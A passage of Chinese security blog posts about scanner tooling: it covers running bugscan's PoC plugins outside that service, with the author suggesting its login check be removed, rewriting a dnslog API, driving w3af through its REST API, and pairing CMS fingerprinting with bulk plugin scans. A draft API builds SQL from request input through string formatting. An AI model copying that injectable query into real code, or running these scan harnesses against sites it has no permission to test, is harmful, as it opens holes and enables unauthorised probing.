    u'entry': u'http://0day5.com/', 
    u'nodes': [xxxx], 任务节点id
    u'pass_dict':
    u'', u'speed': 6
}

Tasks_n包含了填写的基本信息

Plugins_list = json.loads(base64.decodestring(Tasks_n['policy']))

获取到基本的信息以后久进入到了ProcessWork中.需要关注的就是target和Plugins_list是Tasks_n里面的到的基本信息

def ProcessWork(glock, gdebug, debugkey, uhash, rpc_server, tid, target, Plugins_list):
    global Debug_yes_no
    global sys_debug_yes_no
    global Login_Get
    global debug_key
    global Multiprocessing_RLock
    Multiprocessing_RLock = glock
    sys_debug_yes_no = gdebug
    debug_key = debugkey
    Debug_yes_no = True
    Loginx_Obj = Loginx(uhash, rpc_server)
    Oo000ooOOO = None
    if Debug_X(debugkey):
        thread.start_new_thread(Mysql_insert_QueueInfo, ())
    try:
        signal.signal(signal.SIGTERM, signal.SIG_DFL)
        signal.signal(signal.SIGINT, signal.SIG_DFL)
        Loginx_Obj.set_task_status(tid, Range_3)
        Exploit_run_Obj = Exploit_run(tid, target, Plugins_list)
        if 'entry' in Plugins_list:
            if Plugins_list['entry'].startswith('http'):#  String.startswith('xxx')判断开头是否是xxx
                Exploit_run_Obj.task_push('www', str(Plugins_list['entry']))
            else:
                Exploit_run_Obj.task_push('www', 'http://%s%s' % (target, Plugins_list['entry']))
        if not Target_isOK(target):
            Exploit_run_Obj.task_push('dns', target) # task_push(self, service, arg, uuid=None, target=None, pr=-1):
        Exploit_run_Obj.task_push('www', 'http://%s/' % target)
        Exploit_run_Obj.run()
    except (KeyboardInterrupt, SystemExit):
        pass
    except Exception as o0oo0o0O00OO:
        Logging_Obj.exception('ProcessWorker:<%d %s>' % (tid, target))
    finally:
        Loginx_Obj.set_task_status(tid, Range_5)
        if Mysql_Obj:
            Mysql_table_insert('loglog', body='exit')
    addTargetModule(target)

在Exploit_run里面的函数中能看到判断插件是否加密的部分

for plugin_x in policy['plugins']:
    Plugin = policy['plugins'][plugin_x]
    OO0OoOO0o0o = 0
    if imp.get_magic() == Plugin[:4]:
        #判定为加密的文件
        oo = marshal.loads(Plugin[8:])
        OO0OoOO0o0o = struct.unpack('<l', Plugin[4:8])[0]
    else:
        oo = Plugin
    """"""
    def _load_module(self, chunk, name='<memory>'):
        II = imp.new_module(str(name))
        exec chunk in II.__dict__
        return II
    """"""
    #imp加载文件
    II = self._load_module(oo)
    o00oo0 = None
    if OO0OoOO0o0o > 1440345600:
        #获取解密的key
        o00oo0 = Plugin[-48:-16]
        I11ii1IIiIi = Plugin[-16:]
        if I11ii1IIiIi != md5.new(Plugin[:-16]).digest()[::-1]:
            #表示不匹配
            pass
    #涉及到对II的参数补充,针对加密的插件用获取的key进行解密,
    self._patch_module(II, o00oo0)
    然后获取节点的dns,各种其他的信息.进入到task_pusk函数中.
    主要是推送的服务和地址
    def task_push(self, service, arg, uuid=None, target=None, pr=-1):
        for OO0O0 in self._modules:
            获取插件id和插件文件内容
            i1OOO0000oO = self._modules[OO0O0].assign(service, arg)
    #接下去就是判断i1OOO0000oO也就是插件运行的结果是不是一个数据
    if not isinstance(i1OOO0000oO, tuple):
        continue

所以,如果自己需要构建全部的bugscan的插件扫描功能的话.感觉还是比较简单.获取全部的插件,需要更改的就是节点中的target,还有entry,删掉或者注释掉登陆验证的请求的地方,按照它本身的结果写入或者重构数据库.其他的就静静的等待结果就好了.反正都是全部fuzz一遍.

 Mysql_table_insert('loglog', body=self.format(record))

Mysql_table_insert('rpclog', method=self.__serviceName, params=repr(args), uid=self.__uhash, uuid=PC_uuid)

Mysql_table_insert('tasklog', uuid=uuid, plugin_id=Scan_ThreadLocal.__pid, service=service, arg=repr(arg),

Mysql_table_insert('assignlog', time=int(i11i1ii1I - iI1i111I1Ii), uuid=hash, plugin_id=OO0O0,service=service, prearg=repr(arg), arg=repr(oOoO00o), isret=1, push=O0O0Oo00, i=ai + 1)

Mysql_table_insert('auditlog', uuid=md5.md5(url).hexdigest(), plugin_id=OO0O0, type=1, arg=repr(url),time=int(Day_time_2 - Day_time_1))

Mysql_table_insert('debuglog', plugin_id=Scan_ThreadLocal.__pid, body=fmt % args)

更改了一下获取的方式,因为我发现部分插件无法入库。所以入库的时候全部采用了base64编码的形式入库

                    if iIIi:
                        o0O0O00('[***] fetch %d new plugins', len(iIIi))
                        i1iiIiI1Ii1i = i1.get_plugin_list(iIIi)

                        for hash in i1iiIiI1Ii1i:
                            i1iIi = i1iiIiI1Ii1i[hash]
                            oO00oo0o00o0o[hash] = (i1iIi[0], zlib.decompress(binascii.a2b_hex(i1iIi[1])))
                            #get
                            try:
                                dbcon = Mysqlclass()
                                sql = "insert `plugin` (`name`,`upid`,`content`) VALUES (%s, %s, %s)"
                                args = str(oO00oo0o00o0o[hash][0]),str(hash),base64.b64encode(str(oO00oo0o00o0o[hash][1]))
                                print str(oO00oo0o00o0o[hash][0])
                                dbcon.exec_sql(sql,args)
                            except Exception, e:
                                print str(oO00oo0o00o0o[hash][0]),str(e)
                                pass

然后按照它本身的步骤,从数据库里面获取插件出来调用.最后的形式就是.

def get_plugins():
    plugins = {}
    sql = "select name,content from `plugin`"
    results = dbconn.select_result(sql)
    for result in results:
        pocid = int(result['name'])
        plugins[pocid] =base64.decodestring(result['content'])
    return plugins

def main(target):
    if target == '':
        target = domain
    plugins = get_plugins()
    glock = None
    gdebug = "0"
    debugkey = ''
    policy = {
        u'subdomain': True, 
        u'scanport': True, 
        u'maxtask': 7000, 
        u'useragent': u'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; .NET CLR 2.0.50727)', 
        u'anyone': True, 
        u'timeout': 24, 
        u'plugins': plugins,#{2051: '',1070: '', 1072: '', 1073: '', 1074: ''}
        u'target': target, #可以为域名和ip
        u'user_dict': u'', 
        u'pass_dict': u'', 
        u'speed': 6
    }
    tid = 1234
    service = 'www'
    ProcessWork(glock, gdebug, debugkey, tid, service, policy)

if __name__ == '__main__':
    import sys
    if len(sys.argv)==2:
        domain = sys.argv[1]
        main(domain)
    else:
        print ("%s http://fuck.0day5.com" % (sys.argv[0]))

改造dnslog的api为我们需要的输出方式

发布时间:December 13, 2016 // 分类:开发笔记,linux,python,windows,生活琐事 // No Comments

以前有cloudeye,发现它的api友好的不得了,后来又尝试过一段时间的ceye.io就是ceye.io其实不稳定,后来把目光转向了dnslog不得不说dnslog的开源确实是方便,但是它的api确实是蛋疼的紧
比如我们有一个whoami的参数

通过api查询

http://webadmin.secevery.com/api/web/www/whoami/

发现是false,仔细对比了下它的api函数,居然是

def api(request, logtype, udomain, hashstr):
    apistatus = False
    host = "%s.%s." % (hashstr, udomain)
    if logtype == 'dns':
        res = DNSLog.objects.filter(host__contains=host)
        if len(res) > 0:
            apistatus = True
    elif logtype == 'web':
        res = WebLog.objects.filter(path__contains=host)
        if len(res) > 0:
            apistatus = True
    else:
        return HttpResponseRedirect('/')
    return render(request, 'api.html', {'apistatus': apistatus})


host = "%s.%s." % (hashstr, udomain) 这尼玛~
只能查询xxxx.fuck.dns5.org的类型了.对于fuck.dns5.org/?cmd=fuck的形式好像不能查询。这尼玛~本想重新改写的.发现工程量太大了,就拿dnslog来修改api函数就好了
 #重新改写api
#1.默认访问全部的日志信息
#2.可以访问/api/xxxx/dns|web/
#3.可以精确定位到/api/xxxx/(dns|web)/xxxx/
步骤
#先获取userid 
#xxx = (select userid from logview_user where udomain = udomain)
 
再根据dns|web的方式分别执行sql语句
if logtype == 'dns':
        #需要执行的是select log_time,host from logview_dnslog where userid = xxx and path like '%hashstr%'
elif logtype == 'web':
        #需要执行的是SELECT "remote_addr","http_user_agent","log_time","path" FROM "logview_weblog" WHERE "user_id"=xxx and path like '%hashstr%'
 
这里的hashstr其实是可以为空的.就拿默认的数据库来测试

SELECT "log_time","remote_addr","http_user_agent","path" FROM "logview_weblog" WHERE user_id=(select id from logview_user where udomain = 'test') and path like '3%'
log_time    remote_addr http_user_agent path
113.135.96.202  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36    123.test.dnslog.link/
113.135.96.202  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36    123.test.dnslog.link/favicon.ico

保持hashstr为空

SELECT "log_time","remote_addr","http_user_agent","path" FROM "logview_weblog" WHERE user_id=(select id from logview_user where udomain = 'test') and path like '%%'

结果依然是

log_time    remote_addr http_user_agent path
113.135.96.202  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36    123.test.dnslog.link/
113.135.96.202  Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.87 Safari/537.36    123.test.dnslog.link/favicon.ico

这样就保证了xxx的完整性
 
大概改写后的api函数为

def api(request, logtype, udomain, hashstr):
    result = ''
    #首先保证udomain不能为空
    if len(udomain)>0:
        if logtype == 'dns':
            sql = "select log_time,host from logview_dnslog where userid = (select userid from logview_user \"
                "where udomain = {udomain}) and path like '%{hash}%'".format(udomain=udomain,hash=hashstr)
        elif logtype == 'web':
            sql = "SELECT log_time,remote_addr,http_user_agent,path FROM logview_weblog WHERE user_id=(select \"
                "id from logview_user where udomain = {udomain}) and path like '%{hash}%'".format(udomain=udomain,hash=hashstr)
        logging.info(sql)
        #excute.sql
    return result



其实意淫而已。不熟悉django.还在泪奔中。真特么的狗日的chrome的未知bug。动方向键就奔溃。


大约完毕了,以后有bug再说

def api(request, logtype, udomain, hashstr):  
    import json                                         
    result = None
    re_result =                                                                              
    host = "%s.%s." % (hashstr, udomain)                                                               
    if logtype == 'web':                                                                               
        res = WebLog.objects.all().filter(path__contains=hashstr)                                                                                                                  
        if len(res) > 0:                                                                               
            for rr in res:
                result = dict(
                    time= str(rr.log_time),
                    ipaddr = rr.remote_addr,
                    ua = rr.http_user_agent,
                    path = rr.path
                )                                                                     
                re_result.append(result)

    elif logtype == 'dns':      
        res = DNSLog.objects.all().filter(host__contains=host)     
        if len(res) > 0:
            for rr in res:
                result = dict(
                    time = str(rr.log_time),
                    host = rr.host
                    )
                re_result.append(result)

    else:
        return HttpResponseRedirect('/')
    return render(request, 'api.html', {'apistatus': json.dumps(re_result)})

About w3af_api

发布时间:November 23, 2016 // 分类:开发笔记,运维工作,工作日志,linux,代码学习,python,生活琐事 // No Comments

今天看到了一个saas产品,和作者聊了下,发现是基于w3af_api来实现的。然后自己补充了其他的类型.感觉很厉害的样子。于是跑过来看了下w3af。相关的文档在这里

w3af算的上是老牌的东西了。反正我是比较少用的,总是感觉效果没有理想的那么好。比如它的爬虫模块太久没有更新了.导致现在出现的很多动态脚本的结果没发准确抓取到。对比下

- http://testphp.acunetix.com/
- http://testphp.acunetix.com/AJAX/
- http://testphp.acunetix.com/AJAX/index.php
- http://testphp.acunetix.com/AJAX/styles.css
- http://testphp.acunetix.com/Flash/
- http://testphp.acunetix.com/Flash/add.fla
- http://testphp.acunetix.com/Flash/add.swf
- http://testphp.acunetix.com/Mod_Rewrite_Shop/
- http://testphp.acunetix.com/Mod_Rewrite_Shop/images/1.jpg
- http://testphp.acunetix.com/Mod_Rewrite_Shop/images/2.jpg
- http://testphp.acunetix.com/Mod_Rewrite_Shop/images/3.jpg
- http://testphp.acunetix.com/artists.php
- http://testphp.acunetix.com/cart.php
- http://testphp.acunetix.com/categories.php
- http://testphp.acunetix.com/disclaimer.php
- http://testphp.acunetix.com/guestbook.php
- http://testphp.acunetix.com/hpp/
- http://testphp.acunetix.com/hpp/params.php
- http://testphp.acunetix.com/images/logo.gif
- http://testphp.acunetix.com/images/remark.gif
- http://testphp.acunetix.com/index.php
- http://testphp.acunetix.com/listproducts.php
- http://testphp.acunetix.com/login.php
- http://testphp.acunetix.com/product.php
- http://testphp.acunetix.com/redir.php
- http://testphp.acunetix.com/search.php
- http://testphp.acunetix.com/secured/
- http://testphp.acunetix.com/secured/newuser.php
- http://testphp.acunetix.com/secured/style.css
- http://testphp.acunetix.com/showimage.php
- http://testphp.acunetix.com/signup.php
- http://testphp.acunetix.com/style.css
- http://testphp.acunetix.com/userinfo.php

这个是它抓取到的。然后自己前几天琢磨的crawl抓到的【在抓取前先fuzz了dir。所以基本满足需求】

主题不在这边。主要是针对w3af_api。关于它的文档可以看这边。简答的描述下

1.启动,主要是两个方式,一个是直接运行

$ ./w3af_api
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

另外一个是docker

$ cd extras/docker/scripts/
$ ./w3af_api_docker
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

2.认证。可以自行更换密码的。密码默认的加密方式是sha512sum。

生成密码

$ echo -n "secret" | sha512sum
bd2b1aaf7ef4f09be9f52ce2d8d599674d81aa9d6a4421696dc4d93dd0619d682ce56b4d64a9ef097761ced99e0f67265b5f76085e5b0ee7ca4696b2ad6fe2b2  -

$ ./w3af_api -p "bd2b1aaf7ef4f09be9f52ce2d8d599674d81aa9d6a4421696dc4d93dd0619d682ce56b4d64a9ef097761ced99e0f67265b5f76085e5b0ee7ca4696b2ad6fe2b2"
 * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit)

也可以把账户密码等信息写入yml配置文件来加载启动。

3.api使用方式

开始一个新的扫描 [POST] /scans/
查看扫描状态 GET /scans/0/status
获取相关的漏洞信息使用 GET /scan/kb/
删除相关的信息  DELETE /scans/0/
获取扫描信息  GET  /scans/
暂停扫描  GET /scans/0/pause
停止扫描  GET /scans/0/stop
查看扫描日志  GET /scans/0/log

实际栗子来尝试一次扫描

import requests
import json

data = {'scan_profile': file('../core/w3af/profiles/full_audit.pw3af').read(),
        'target_urls': ['http://testphp.acunetix.com']}

response = requests.post('http://127.0.0.1:5000/scans/',
                         data=json.dumps(data),
                         headers={'content-type': 'application/json'})
                         
print response.text
scan_profile    必须包含的内容w3af扫描配置文件(文件名)
target_urls      w3af要进行爬虫的url列表

查看扫描状态

查看扫描状态

查看相关的漏洞信息

具体某个漏洞的信息

{
  "attributes": {
    "db": "MySQL database",
    "error": "mysql_"
  },
  "cwe_ids": [
    "89"
  ],
  "cwe_urls": [
    "https://cwe.mitre.org/data/definitions/89.html"
  ],
  "desc": "SQL injection in a MySQL database was found at: \"http://testphp.acunetix.com/userinfo.php\", using HTTP method POST. The sent post-data was: \"uname=a%27b%22c%27d%22&pass=FrAmE30.\" which modifies the \"uname\" parameter.",
  "fix_effort": 50,
  "fix_guidance": "The only proven method to prevent against SQL injection attacks while still maintaining full application functionality is to use parameterized queries (also known as prepared statements). When utilising this method of querying the database, any value supplied by the client will be handled as a string value rather than part of the SQL query.\n\nAdditionally, when utilising parameterized queries, the database engine will automatically check to make sure the string being used matches that of the column. For example, the database engine will check that the user supplied input is an integer if the database column is configured to contain integers.",
  "highlight": [
    "mysql_"
  ],
  "href": "/scans/0/kb/29",
  "id": 29,
  "long_description": "Due to the requirement for dynamic content of today's web applications, many rely on a database backend to store data that will be called upon and processed by the web application (or other programs). Web applications retrieve data from the database by using Structured Query Language (SQL) queries.\n\nTo meet demands of many developers, database servers (such as MSSQL, MySQL, Oracle etc.) have additional built-in functionality that can allow extensive control of the database and interaction with the host operating system itself. An SQL injection occurs when a value originating from the client's request is used within a SQL query without prior sanitisation. This could allow cyber-criminals to execute arbitrary SQL code and steal data or use the additional functionality of the database server to take control of more server components.\n\nThe successful exploitation of a SQL injection can be devastating to an organisation and is one of the most commonly exploited web application vulnerabilities.\n\nThis injection was detected as the tool was able to cause the server to respond to the request with a database related error.",
  "name": "SQL injection",
  "owasp_top_10_references": [
    {
      "link": "https://www.owasp.org/index.php/Top_10_2013-A1",
      "owasp_version": "2013",
      "risk_id": 1
    }
  ],
  "plugin_name": "sqli",
  "references": [
    {
      "title": "SecuriTeam",
      "url": "http://www.securiteam.com/securityreviews/5DP0N1P76E.html"
    },
    {
      "title": "Wikipedia",
      "url": "http://en.wikipedia.org/wiki/SQL_injection"
    },
    {
      "title": "OWASP",
      "url": "https://www.owasp.org/index.php/SQL_Injection"
    },
    {
      "title": "WASC",
      "url": "http://projects.webappsec.org/w/page/13246963/SQL%20Injection"
    },
    {
      "title": "W3 Schools",
      "url": "http://www.w3schools.com/sql/sql_injection.asp"
    },
    {
      "title": "UnixWiz",
      "url": "http://unixwiz.net/techtips/sql-injection.html"
    }
  ],
  "response_ids": [
    1494
  ],
  "severity": "High",
  "tags": [
    "web",
    "sql",
    "injection",
    "database",
    "error"
  ],
  "traffic_hrefs": [
    "/scans/0/traffic/1494"
  ],
  "uniq_id": "82f91e8c-759b-43b9-82cb-59ff9a38a836",
  "url": "http://testphp.acunetix.com/userinfo.php",
  "var": "uname",
  "vulndb_id": 45,
  "wasc_ids": [],
  "wasc_urls": []
}

感觉有这些差不多了。可以开始扫描,暂停,停止,删除。还能获取到具体的某个漏洞细节以及修复方案。加上api独有的特效,是可以做分布式的.

import pika
import requests
import json
import sys
import time
import sqlalchemy as db
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker
import os

# database stuffs
Base = declarative_base()

# scan
class Scan(Base):
    __tablename__ = 'scans'
    id = db.Column(db.Integer, primary_key = True)
    relative_id = db.Column(db.Integer)
    description = db.Column(db.Text)
    target_url = db.Column(db.String(128))
    start_time = db.Column(db.Time)
    scan_time = db.Column(db.Time, nullable=True)
    profile = db.Column(db.String(32))
    status = db.Column(db.String(32))
    deleted = db.Column(db.Boolean, default=False)
    run_instance = db.Column(db.Unicode(128))
    num_vulns = db.Column(db.Integer)
    vulns = db.orm.relationship("Vulnerability", back_populates="scan")
    user_id = db.Column(db.String(40))

    def __repr__(self):
        return '<Scan %d>' % self.id

# vuln
class Vulnerability(Base):
    __tablename__ = 'vulns'
    id = db.Column(db.Integer, primary_key = True)
    relative_id = db.Column(db.Integer) # relative to scans
    stored_json = db.Column(db.Text) # inefficient, might fix later
    deleted = db.Column(db.Boolean, default=False)
    false_positive = db.Column(db.Boolean, default=False)
    scan_id = db.Column(db.Integer, db.ForeignKey('scans.id'))
    scan = db.orm.relationship("Scan", back_populates="vulns")

    def __init__(self, id, json, scan_id):
        self.relative_id = id
        self.stored_json = json
        self.scan_id = scan_id

    def __repr__(self):
        return '<Vuln %d>' % self.id

engine = db.create_engine(os.environ.get('SQLALCHEMY_CONN_STRING'))
Session = sessionmaker(bind=engine)
sess = Session()

credentials = pika.PlainCredentials(os.environ.get('TASKQUEUE_USER'), os.environ.get('TASKQUEUE_PASS'))
con = pika.BlockingConnection(pika.ConnectionParameters(host=os.environ.get('TASKQUEUE_HOST'),credentials=credentials))

channelTask = con.channel()
channelTask.queue_declare(queue='task', durable=True)

channelResult = con.channel()
channelResult.queue_declare(queue='result')

# URL to w3af REST API interface instance
server = sys.argv[1]

vul_cnt = 0

def freeServer(sv, href):
    r = requests.delete(sv + href)
    print r.text

def isFree(sv):
    r = requests.get(sv + '/scans/')
    print r.text
    items = json.loads(r.text)['items']
    if len(items) == 0:
        return True
    # number of items > 0
    item = items[0]
    if item['status'] == 'Stopped':
        freeServer(sv, item['href'])
        return True
    return False

def sendTaskDone(server, href):
    data = {}
    data['server'] = server
    data['href'] = href
    message = json.dumps(data)
    channelResult.basic_publish(exchange='',
                        routing_key='result',
                        body=message)

def scann(target):
    data = {'scan_profile': file('../core/w3af/profiles/full_audit.pw3af').read(),
        'target_urls': [target]}
    response = requests.post(server + '/scans/',
                        data=json.dumps(data),
                        headers={'content-type': 'application/json'})

    print response.status_code
    print response.data
    print response.headers

def getVul(sv, href):
    r = requests.get(sv + href)
    #db.insert(r.text)

def getVulsList(sv, href):
    global vul_cnt
    r = requests.get(sv + href + 'kb')
    vuls = json.loads(r.text)['items']
    l = len(vuls)
    if l > vuls_cnt:
        for vul in vuls:
            if vul['id'] >= vul_cnt:
                getVul(sv, vul['href'])
    vul_cnt = l
        
# on receiving message
def callback(ch, method, properties, body):
    print('Get message %s', body)
    task = json.loads(body)
    scann(task['target'])
    task_done = False
    time.sleep(1)
    step = 0
    last_vuln_len = 0
    sv = server
    scan = sess.query(Scan).filter_by(id=task['scan_id']).first()
    # tell gateway server that the task is loaded on this instance
    scan.run_instance = server
    while True:
        # update scan status; check if freed
        list_scans = json.loads(requests.get(sv + '/scans/').text)['items'] # currently just 1
        if (len(list_scans) == 0): # freed
            break
        currentpath = list_scans[0]['href']
        # update vuln list
        r = requests.get(sv + currentpath + '/kb/')
        items = json.loads(r.text)['items'] 
        for i in xrange(last_vuln_len, len(items)):
            v = Vulnerability(i+1, requests.get(sv + items[i]['href']).text, task['scan_id'])
            sess.add(v)
            sess.commit()
            scan.num_vulns += 1
        last_vuln_len = len(items)
        scan.status = list_scans[0]['status']
        sess.commit()
        if scan.status == 'Stopped' and not task_done:
            task_done = True
            requests.delete(sv + currentpath)
        step += 1
        if step == 9:
            con.process_data_events() # MQ heartbeat
            step = 0
        time.sleep(5) # avoid over consumption
    # TODO: send mails to list when the scan is stopped or completed
    print 'DOne'
    ch.basic_ack(delivery_tag=method.delivery_tag)
#print getServerStatus(server)


channelTask.basic_qos(prefetch_count=1)
channelTask.basic_consume(callback, queue='task')

print '[*] Waiting for message'

channelTask.start_consuming()

 

在线cms识别以及bugscan插件调用

发布时间:October 23, 2016 // 分类:开发笔记,linux,python,windows // No Comments

想着自己搞的话估计是比较符合自己的需求。但是问题就是太耗时了,估计覆盖面也不广泛。

恰逢遇到了http://whatweb.bugscaner.com/这个网站,发现它的覆盖面还是不错的。常见的cms都整合过去了。测试了几个发现误报率还是在可以接受的范围内.于是自动化。一个简单的demo.缺点是只能访问http一类的.https的不支持。它提交的时候会自动去掉http|https://

#!/usr/bin/python
import re
import json
import requests



def whatcms(url):
    headers = {"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
        "Referer":"http://whatweb.bugscaner.com/look/",
        }
    """
    try:
        res = requests.get('http://whatweb.bugscaner.com/look/',timeout=60, verify=False)
        if res.status_code==200:
            hashes = re.findall(r'value="(.*?)" name="hash" id="hash"',res.content)[0]
    except Exception as e:
        print str(e)
        return False
    """
    data = "url=%s&hash=0eca8914342fc63f5a2ef5246b7a3b14_7289fd8cf7f420f594ac165e475f1479"%(url)
    try:
        respone = requests.post("http://whatweb.bugscaner.com/what/",data=data,headers=headers,timeout=60, verify=False)
        if int(respone.status_code)==200:
            result = json.loads(respone.content)
            if len(result["cms"])>0:
                return result["cms"]
            else:
                return "www"
    except Exception as e:
        print str(e)
        return "www"
        
if __name__ == '__main__':
    import sys
    url = sys.avg[1]
    print whatcms(url)

无法识别的自动判断为www。既然都可以完美搞定了。接下来开始整合插件.我的想法是先分类.读取文件内容中的service。然后再把文件名称和servvice存进数据库.方便以后调用。简单的来个小脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re,os,glob
from mysql_class import MySQL
"""
logging.basicConfig(
    level=logging.DEBUG,
    format="[%(asctime)s] %(levelname)s: %(message)s")
"""
"""
1.识别具体的cms
2.从数据库获取cms--如果没有获取到考虑全部便利
3.输出结果
"""
def timestamp():
    return str(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))

"""
DROP TABLE IF EXISTS `bugscan`;
CREATE TABLE `bugscan` (
    `id` int(11) NOT NULL AUTO_INCREMENT,
    `service` varchar(256) COLLATE utf8_bin DEFAULT NULL,
    `filename` varchar(256) COLLATE utf8_bin DEFAULT NULL,
    `time` varchar(256) COLLATE utf8_bin DEFAULT NULL,
    PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_bin;
SET FOREIGN_KEY_CHECKS = 1;
"""
dbconfig = {'host':'127.0.0.1','port': 3306,'user':'root','passwd':'root123','db':'proscan','charset':'utf8'}
db = MySQL(dbconfig)

def insert(filename):
    file_data = open(filename,'rb').read()
    service = re.findall(r"if service.*==(.*?):",file_data)
    if len(service)>0:
        servi = service[0].replace("'", "").replace("\"", "").replace(" ", "")
        
        sqlInsert = "insert into `bugscan`(id,service,filename,time) values ('','%s','%s','%s');" % (str(servi),str(filename.replace('./bugscannew/','')),str(timestamp()))
        print sqlInsert
        #db.query(sql=sqlInsert)

for filename in glob.glob(r'./bugscannew/*.py'):
    insert(filename)

然后思考下怎么调用这个具体的插件来进行判断。其实想了好久。直到前不久空着有空看了pocscan。发现这个方式不错.把文件加入到pypath中.然后from xxx import audit 然后就完美解决这个问题了.

def import_poc(pyfile,url):
    poc_path = os.getcwd()+"/bugscannew/"
    path = poc_path + pyfile + ".py"
    filename = path.split("/")[-1].split(".py")[0]
    sys.path.append(poc_path)
    poc0 = imp.load_source('audit', path)
    audit_function = poc0.audit
    from dummy import *
    audit_function.func_globals.update(locals())
    ret = audit_function(url)
    if ret is not None and 'None' not in ret:
        #print ret
        return ret

暂时没完美调用的方式.简单的贴个demo

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import re,os
import imp,sys
import time,json
import logging,glob
import requests
from mysql_class import MySQL
"""
logging.basicConfig(
    level=logging.DEBUG,
    format="[%(asctime)s] %(levelname)s: %(message)s")
"""
"""
1.识别具体的cms
2.从数据库获取cms--如果没有获取到考虑全部便利
3.输出结果
"""
def timestamp():
    return str(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()))

"""
DROP TABLE IF EXISTS `bugscan`;
CREATE TABLE `bugscan` (
    `id` int(11) NOT NULL AUTO_INCREMENT,
    `service` varchar(256) COLLATE utf8_bin DEFAULT NULL,
    `filename` varchar(256) COLLATE utf8_bin DEFAULT NULL,
    `time` varchar(256) COLLATE utf8_bin DEFAULT NULL,
    PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_bin;
SET FOREIGN_KEY_CHECKS = 1;
"""
dbconfig = {'host':'127.0.0.1','port': 3306,'user':'root','passwd':'root123','db':'proscan','charset':'utf8'}
db = MySQL(dbconfig)

def insert(filename):
    file_data = open(filename,'rb').read()
    service = re.findall(r"if service.*==(.*?):",file_data)
    if len(service)>0:
        servi = service[0].replace("'", "").replace("\"", "").replace(" ", "")
        
        sqlInsert = "insert into `bugscan`(id,service,filename,time) values ('','%s','%s','%s');" % (str(servi),str(filename.replace('./bugscannew/','')),str(timestamp()))
        print sqlInsert
        #db.query(sql=sqlInsert)
        #print servi,filename

def check(service,url):
    if service == 'www':
        sqlsearch = "select  filename from  `bugscan` where service = '%s'" %(service)
    elif service != 'www':
        sqlsearch = "select  filename from  `bugscan` where service = 'www' or service = '%s'" %(service)
    print sqlsearch 
    if int(db.query(sql=sqlsearch))>0:
        result = db.fetchAllRows()
        for row in result:
            #return result
            for colum in row:
                colum = colum.replace(".py","")
                import_poc(colum,url)

def import_poc(pyfile,url):
    poc_path = os.getcwd()+"/bugscannew/"
    path = poc_path + pyfile + ".py"
    filename = path.split("/")[-1].split(".py")[0]
    sys.path.append(poc_path)
    poc0 = imp.load_source('audit', path)
    audit_function = poc0.audit
    from dummy import *
    audit_function.func_globals.update(locals())
    ret = audit_function(url)
    if ret is not None and 'None' not in ret:
        #print ret
        return ret

def whatcms(url):
    headers = {"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
        "Referer":"http://whatweb.bugscaner.com/look/",
        }
    """
    try:
        res = requests.get('http://whatweb.bugscaner.com/look/',timeout=60, verify=False)
        if res.status_code==200:
            hashes = re.findall(r'value="(.*?)" name="hash" id="hash"',res.content)[0]
    except Exception as e:
        print str(e)
        return False
    """
    data = "url=%s&hash=0eca8914342fc63f5a2ef5246b7a3b14_7289fd8cf7f420f594ac165e475f1479"%(url)
    try:
        respone = requests.post("http://whatweb.bugscaner.com/what/",data=data,headers=headers,timeout=60, verify=False)
        if int(respone.status_code)==200:
            result = json.loads(respone.content)
            if len(result["cms"])>0:
                return result["cms"]
            else:
                return "www"
    except Exception as e:
        print str(e)
        return "www"
        
if __name__ == '__main__':
    #for filename in glob.glob(r'./bugscannew/*.py'):
    #   insert(filename)
    url = "http://0day5.com/"
    print check(whatcms(url),url)

其实还有纰漏。比如在调用那块可以考虑下采用多线程来加快速度.还有就是可能出现如果cms无法识别出来。结果肯定不准确。如果全部load进来fuzz一次太耗时了。

得到琦神的demo。貌似更暴力,全加载fuzz一次

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# papapa.py
import re
import socket
import sys
import os
import urlparse
import time
from dummy.common import *
import util
from dummy import *
import importlib
import threading
import Queue as que


class Worker(threading.Thread):  # 处理工作请求
    def __init__(self, workQueue, resultQueue, **kwds):
        threading.Thread.__init__(self, **kwds)
        self.setDaemon(True)
        self.workQueue = workQueue
        self.resultQueue = resultQueue

    def run(self):
        while 1:
            try:
                callable, args, kwds = self.workQueue.get(False)  # get task
                res = callable(*args, **kwds)
                self.resultQueue.put(res)  # put result
            except que.Empty:
                break


class WorkManager:  # 线程池管理,创建
    def __init__(self, num_of_workers=10):
        self.workQueue = que.Queue()  # 请求队列
        self.resultQueue = que.Queue()  # 输出结果的队列
        self.workers = []
        self._recruitThreads(num_of_workers)

    def _recruitThreads(self, num_of_workers):
        for i in range(num_of_workers):
            worker = Worker(self.workQueue, self.resultQueue)  # 创建工作线程
            self.workers.append(worker)  # 加入到线程队列

    def start(self):
        for w in self.workers:
            w.start()

    def wait_for_complete(self):
        while len(self.workers):
            worker = self.workers.pop()  # 从池中取出一个线程处理请求
            worker.join()
            if worker.isAlive() and not self.workQueue.empty():
                self.workers.append(worker)  # 重新加入线程池中
        #logging.info('All jobs were complete.')

    def add_job(self, callable, *args, **kwds):
        self.workQueue.put((callable, args, kwds))  # 向工作队列中加入请求

    def get_result(self, *args, **kwds):
